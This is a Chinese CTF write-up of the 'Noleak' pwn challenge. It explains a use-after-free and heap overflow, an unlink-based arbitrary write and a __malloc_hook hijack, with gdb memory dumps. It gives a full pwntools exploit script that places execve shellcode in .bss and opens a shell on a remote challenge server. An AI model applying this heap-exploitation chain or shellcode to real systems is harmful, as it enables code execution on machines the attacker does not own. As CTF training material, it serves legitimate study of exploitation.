攻防世界-Noleak-Writeup

原创

aptx4869_li 于 2021-01-19 00:56:44 发布 133 收藏

分类专栏： CTF PWN 文章标签： CTF Unlink unsorted bin UAF shellcode

本文链接：https://blog.csdn.net/aptx4869_li/article/details/112798164

解题思路

> 参考一位大佬的解题思路： https://www.freesion.com/article/3386496214/ ，结合自己的理解与分析完成此题的漏洞利用

基本信息查询

```
healer@healer:~/Documents/CTF/PWN/Noleak$ readelf -h timu
ELF Header:
  Magic:   7f 45 4c 46 02 01 01 00 00 00 00 00 00 00 00 00
  Class:                             ELF64
  Data:                              2's complement, little endian
  Version:                           1 (current)
  OS/ABI:                            UNIX - System V
  ABI Version:                       0
  Type:                              EXEC (Executable file)
  Machine:                           Advanced Micro Devices X86-64
  Version:                           0x1
  Entry point address:               0x400620
  Start of program headers:          64 (bytes into file)
  Start of section headers:          4408 (bytes into file)
  Flags:                             0x0
  Size of this header:               64 (bytes)
  Size of program headers:           56 (bytes)
  Number of program headers:         9
  Size of section headers:           64 (bytes)
  Number of section headers:         27
  Section header string table index: 26
healer@healer:~/Documents/CTF/PWN/Noleak$ checksec timu
[*] '/home/healer/Documents/CTF/PWN/Noleak/timu'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments
```

漏洞分析

> 很显然存在UAF漏洞，并且修改内容的时候，存在堆溢出，随意指定大小即可进行输入，且输入字符无限制，此题应该是有很多利用方法，先以unsorted bin attack为首要方式尝试攻击。

首先，此题很显然没有可以泄露地址的地方，题目也是叫做Noleak，那么我们就要考虑如何利用上面的这些漏洞，结合大佬的方法，总结一下思路。

先看保护机制是可以用shellcode的，可以写入shellcode的地方有哪些 .data段、.bss段、堆、栈，初步考虑有这些地方可以用来写入shellcode，此时又没有能用到的写入函数，可以直接写内存的，就是程序提供的方法，程序提供buf数组+堆块的方法管理进程分配的结点。

写入shellcode的目的是为了能够调用它，那么如何调用shellcode呢？我能想到的办法就是修改got表，或者plt表，劫持一个程序正常调用的函数，下次再次调用该函数的时候实际上是执行shellcode。 还有一种就是劫持malloc函数，通过修改__malloc_hook，再不行就__malloc_hook和__realloc_hook函数都劫持相互配合执行shellcode（之前做过一道这个题，有点印象）。 还有可以或者通过修改栈中的内容，控制程序的执行流程，配合ROP，在栈上跳转到shellcode。其他就不知道还有啥方法了。

使用劫持__malloc_hook的话，首先要拿到__malloc_hook的指针，指向__malloc_hook的指针在main_arena-0x10的位置，就要知道main_arena的地址，这个地址可以通过main_arena+88计算得来，而main_arena+88这个特殊的地址是unsorted bin中的第一个空闲chunk中的FD、BK位上会有这个地址，但是此题没有办法把这个地址泄露出来。

鉴于无法泄露main_arena+88的具体值是多少，（常规思路肯定是泄露地址之后，直接计算得到__malloc_hook函数的指针，然后修改对应的值指向shellcode）那么，我们要怎么才能修改main_arena+88处的值呢？程序提供的修改功能刚好可以实现，通过一个指针修改目标的值，但是程序的指针全都放在buf数组里面，main_arena+88这个值在堆块中，就不在一个区域，所以下一个目标就是想办法让main_arena+88出现在buf数组中,然后修改对应位置的值即可劫持__malloc_hook。

第一反应是写到buf数组里面，显然这个题的情况实现不了，你不知道它是多少，自然写不进去，那么就只能通过堆的操作让他出现在buf数组中，首先我们要知道什么情况下这个main_arena+88会出现在被释放的堆块中，如果需要目标地址出现在buf数组中，那么buf数组中要有一个fake chunk，这就意味着buf数组的内容要能任意写入，写入又要用到程序的写入方式，那么在buf数组内有一个指针指向buf数组的部分内容或者指向buf数组低地址方向的某个位置，这样再次写入的时候就可以通过修改的方式实现buf数组的任意写。

实现buf数组内容任意写可以通过Unlink操作实现将buf的一个指针指向其address-0x18处，这样调用程序的修改功能就可以任意指定buf数组的每一个指针的值，而每一个指针又指向某块内存空间，即可以实现程序内存空间的任意写，有了任意写，就可以构造一个unsorted bin双向链表，通过释放后再次分配将链入链表的在buf数组区域的fake chunk的FD、或者BK为main_arena+88，再次任意写将buf数组中的main_arena+88的值修改为main_arena+88-88-0x10即可在buf数组中构造出一个指向__malloc_hook的指针，当然有了任意写的方法shellcode也可以写在一个我们已知地址的位置，然后将对应__malloc_hook处的值修改为写shellcode的已知位置即可。

大致上的思路是这样，具体实现的过程中有很多细节，就不展开了，目前能够基本掌握这些利用方法的使用方式，但是做题的时候，正向想不出来解决方案，这次反过来思考一下，为以后做题建立自己的攻击思路打打基础。

执行过程分析

```
添加两个结点之后：
pwndbg> x/20xg 0x601040
0x601040: 0x0000000001d89010  0x0000000001d89120
              buf[0]                buf[1]
0x601050: 0x0000000000000000  0x0000000000000000



pwndbg> x/90xg 0x0000000001d89000
0x1d89000:  0x0000000000000000  0x0000000000000111  <- buf[0]
0x1d89010:  0x6161616161616161  0x6161616161616161
...
0x1d89100:  0x6161616161616161  0x6161616161616161
0x1d89110:  0x0000000000000000  0x0000000000000111  <- buf[1]
0x1d89120:  0x6262626262626262  0x6262626262626262
...
```

```
0x1d89210:  0x6262626262626262  0x6262626262626262
0x1d89220:  0x0000000000000000  0x0000000000020de1  <-top chunk
0x1d89230:  0x0000000000000000  0x0000000000000000


编辑buf[0]的内容伪造chunk在其中：
pwndbg> x/20xg 0x601040
0x601040: 0x0000000001d89010  0x0000000001d89120
0x601050: 0x0000000000000000  0x0000000000000000

pwndbg> x/90xg 0x0000000001d89000
0x1d89000:  0x0000000000000000  0x0000000000000111  <- buf[0]
0x1d89010:  0x0000000000000000  0x0000000000000101  <- fake chunk(freed)
0x1d89020:  0x0000000000601028  0x0000000000601030
0x1d89030:  0x3131313131313131  0x3131313131313131
...
0x1d89100:  0x3131313131313131  0x3131313131313131
0x1d89110:  0x0000000000000100  0x0000000000000110  <- buf[1] pre_size好size被修改
0x1d89120:  0x6262626262626262  0x6262626262626262
...
0x1d89210:  0x6262626262626262  0x6262626262626262
0x1d89220:  0x0000000000000000  0x0000000000020de1  <- top chunk


释放buf[1]导致unlink操作：
pwndbg> x/20xg 0x601040
0x601040: 0x0000000000601028  0x0000000001d89120  <- unlink的左后一步操作将bu[0]处修改为0x601028
0x601050: 0x0000000000000000  0x0000000000000000

pwndbg> x/90xg 0x0000000001d89000
0x1d89000:  0x0000000000000000  0x0000000000000111
0x1d89010:  0x0000000000000000  0x0000000000020ff1  <- top chunk
0x1d89020:  0x0000000000601028  0x0000000000601030
0x1d89030:  0x3131313131313131  0x3131313131313131
...
0x1d89100:  0x3131313131313131  0x3131313131313131
0x1d89110:  0x0000000000000100  0x0000000000000110
0x1d89120:  0x6262626262626262  0x6262626262626262
...
0x1d89210:  0x6262626262626262  0x6262626262626262
0x1d89220:  0x0000000000000000  0x0000000000020de1
0x1d89230:  0x0000000000000000  0x0000000000000000


修改buf[0]：
pwndbg> x/20xg 0x601040
0x601040: 0x0000000000601020  0x0000000000601040
             bss address        buf[0] address
0x601050: 0x0000000000000000  0x0000000000000000

pwndbg> x/90xg 0x0000000001d89000
0x1d89000:  0x0000000000000000  0x0000000000000111
0x1d89010:  0x0000000000000000  0x0000000000020ff1
0x1d89020:  0x0000000000601028  0x0000000000601030
...
0x1d89110:  0x0000000000000100  0x0000000000000110
...
0x1d89220:  0x0000000000000000  0x0000000000020de1
```

连续添加两个结点：

```
pwndbg> x/20xg 0x601040
0x601040: 0x0000000000601020  0x0000000000601040
              buf[0]->bss       buf[1]->buf[0]
0x601050: 0x0000000001d89020  0x0000000001d89130
              buf[2]            buf[3]
0x601060: 0x0000000000000000  0x0000000000000020
0x601070: 0x0000000000000000  0x0000000000000000

pwndbg> x/90xg 0x0000000001d89000
0x1d89000:  0x0000000000000000  0x0000000000000111
0x1d89010:  0x0000000000000000  0x0000000000000111
0x1d89020:  0x6363636363636363  0x6363636363636363
...
0x1d89110:  0x6363636363636363  0x6363636363636363
0x1d89120:  0x6262626262626262  0x0000000000000111
0x1d89130:  0x6464646464646464  0x6464646464646464
...
0x1d89220:  0x6464646464646464  0x6464646464646464
0x1d89230:  0x0000000000000000  0x0000000000020dd1
```

删除buf[2]：

```
pwndbg> x/20xg 0x601040
0x601040: 0x0000000000601020  0x0000000000601040
0x601050: 0x0000000001d89020  0x0000000001d89130
0x601060: 0x0000000000000000  0x0000000000000020

pwndbg> x/90xg 0x0000000001d89000
0x1d89000:  0x0000000000000000  0x0000000000000111
0x1d89010:  0x0000000000000000  0x0000000000000111
0x1d89020:  0x00007f5e13917b78  0x00007f5e13917b78  <- main_arena+88
0x1d89030:  0x6363636363636363  0x6363636363636363
...
0x1d89110:  0x6363636363636363  0x6363636363636363
0x1d89120:  0x0000000000000110  0x0000000000000110
0x1d89130:  0x6464646464646464  0x6464646464646464
...
0x1d89220:  0x6464646464646464  0x6464646464646464
0x1d89230:  0x0000000000000000  0x0000000000020dd1
```

编辑buf[2]的内容：

```
pwndbg> x/20xg 0x601040
0x601040: 0x0000000000601020  0x0000000000601040
0x601050: 0x0000000001d89020  0x0000000001d89130
0x601060: 0x0000000000000000  0x0000000000000020

pwndbg> x/90xg 0x0000000001d89000
0x1d89000:  0x0000000000000000  0x0000000000000111
0x1d89010:  0x0000000000000000  0x0000000000000111
0x1d89020:  0x0000000000000000  0x0000000000601040
0x1d89030:  0x6363636363636363  0x6363636363636363
...
0x1d89110:  0x6363636363636363  0x6363636363636363
0x1d89120:  0x0000000000000110  0x0000000000000110
0x1d89130:  0x6464646464646464  0x6464646464646464
```

```
...
0x1d89220:  0x6464646464646464  0x6464646464646464
0x1d89230:  0x0000000000000000  0x0000000000020dd1
0x1d89240:  0x0000000000000000  0x0000000000000000


再次申请一个node,大小和之前大小一样的chunk，将main_arena+88的值推到buf[6]
pwndbg> x/20xg 0x601040
0x601040: 0x0000000000601020  0x0000000000601040
0x601050: 0x0000000001468020  0x0000000001468130
0x601060: 0x0000000001468020  0x0000000000000020  <- fake chunk
0x601070: 0x00007fd2bae05b78  0x0000000000000000
0x601080: 0x0000000000000000  0x0000000000000000

pwndbg> x/90xg 0x0000000001468000
0x1468000:  0x0000000000000000  0x0000000000000111
0x1468010:  0x0000000000000000  0x0000000000000111
0x1468020:  0x6565656565656565  0x6565656565656565
...
0x1468110:  0x6565656565656565  0x6565656565656565
0x1468120:  0x0000000000000110  0x0000000000000111
0x1468130:  0x6464646464646464  0x6464646464646464
...
0x1468220:  0x6464646464646464  0x6464646464646464
0x1468230:  0x0000000000000000  0x0000000000020dd1
0x1468240:  0x0000000000000000  0x0000000000000000


修改buf[6]使其原本指向main_arena+88的转而指向__malloc_hook:
pwndbg> x/10xg 0x601040
0x601040: 0x0000000000601020  0x0000000000601040
0x601050: 0x0000000000000000  0x0000000000000000
0x601060: 0x0000000000000000  0x0000000000000000
0x601070: 0x00007fe4ffc08b10  0x0000000000000000
0x601080: 0x0000000000000000  0x0000000000000000


在bss开始写上shellcode:
pwndbg> x/10xg 0x601020
0x601020: 0x68732f2f2f68686a  0x0168e3896e69622f
0x601030: 0x6972243481010101  0x59046a51c9310101
0x601040: 0x6ad231e18951e101  0x0000000080cd580b
0x601050: 0x0000000000000000  0x0000000000000000
0x601060: 0x0000000000000000  0x0000000000000000
pwndbg> x/20i 0x601020
   0x601020:  push   0x68
   0x601022:  push   0x732f2f2f
   0x601027:  push   0x6e69622f
   0x60102c:  mov    ebx,esp
   0x60102e:  push   0x1010101
   0x601033:  xor    DWORD PTR [rsp],0x1016972
   0x60103a:  xor    ecx,ecx
   0x60103c:  push   rcx
   0x60103d:  push   0x4
   0x60103f:  pop    rcx
   0x601040:  add    ecx,esp
   0x601042:  push   rcx
   0x601043:  mov    ecx,esp
   0x601045:  xor    edx,edx
```

```
   0x601047:  push   0xb
   0x601049:  pop    rax
   0x60104a:  int    0x80


修改buf[6]使得__malloc_hook指向bss开始处，即shellcode
pwndbg> x/20xg 0x00007fe4ffc08b10
0x7fe4ffc08b10 <__malloc_hook>: 0x0000000000601020  0x0000000000000000
0x7fe4ffc08b20 <main_arena>:  0x0000000100000000  0x0000000000000000

再次malloc触发shellcode
```

解题脚本

```
from pwn import *
context.log_level='debug'
context.terminal = ['terminator', '-x', 'sh', '-c']

io = remote("220.249.52.134",59762)

#io = process("./timu")

context(arch = "amd64", os = 'linux')

def add_node(size,data):
    io.recvuntil("Your choice :")
    io.sendline("1")
    io.recvuntil("Size:")
    io.sendline(str(size))
    io.recvuntil("Data: ")
    io.sendline(data)


def update_node(index,size,data):
    io.recvuntil("Your choice :")
    io.sendline("3")
    io.recvuntil("Index:")
    io.sendline(str(index))
    io.recvuntil("Size:")
    io.sendline(str(size))
    io.recvuntil("Data: ")
    io.sendline(data)


def delete_node(index):
    io.recvuntil("Your choice :")
    io.sendline("2")
    io.recvuntil("Index:")
    io.sendline(str(index))


buf_addr = 0x601040
bss_addr = 0x601020

# b * add:0x4008d5;
#     del:0x400914;
#     update:0x40099c
```

```
add_node(0x100,b"a"*0x100)
add_node(0x100,b"b"*0x100)

payload = p64(0) + p64(0x101)
payload += p64(buf_addr-0x18) + p64(buf_addr-0x10) + 0xe0*b"1" + p64(0x100) + p64(0x110)
update_node(0,0x110,payload)

delete_node(1)

payload = p64(0) + p64(0) + p64(0)
payload += p64(bss_addr) + p64(buf_addr)
payload += p64(0) + p64(0) + p64(0) + p64(0x20)
update_node(0,len(payload),payload)

add_node(0x100,b"c"*0x100)
add_node(0x100,b"d"*0x100)

delete_node(2)

payload = p64(0) + p64(buf_addr + 0x20)
update_node(2,len(payload),payload)



add_node(0x100,b"e"*0x100)

payload = p64(bss_addr) + p64(buf_addr)
payload += p64(0) * 4
payload += b"\x10"
update_node(1,len(payload),payload)

shellcode = asm(shellcraft.sh())
update_node(0,len(shellcode),shellcode)

payload = p64(bss_addr)
update_node(6,len(payload),payload)
#gdb.attach(io,"b * 0x40083d")
io.recvuntil("Your choice :")
io.sendline("1")
io.recvuntil("Size:")
io.sendline("1")

io.interactive()
```

> 此题最让我困惑的是居然会出现因为少一句`context(arch = "amd64", os = 'linux')`而执行失败，经过测试里面必要项是`arch = "amd64"`，还是第一次遇到这种不指定环境而导致攻击失败的情况，现在还不清楚具体原因但是，至少以后知道这个有时候会影响结果了

脚本执行情况

```
[DEBUG] Received 0x22 bytes:
    b'bin\n'
    b'dev\n'
    b'flag\n'
    b'lib\n'
    b'lib32\n'
    b'lib64\n'
    b'timu\n'
bin
dev
flag
lib
lib32
lib64
timu
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x2d bytes:
    b'cyberpeace{************0bc0802b5166514}\n'
cyberpeace{6{************0bc0802b5166514}
```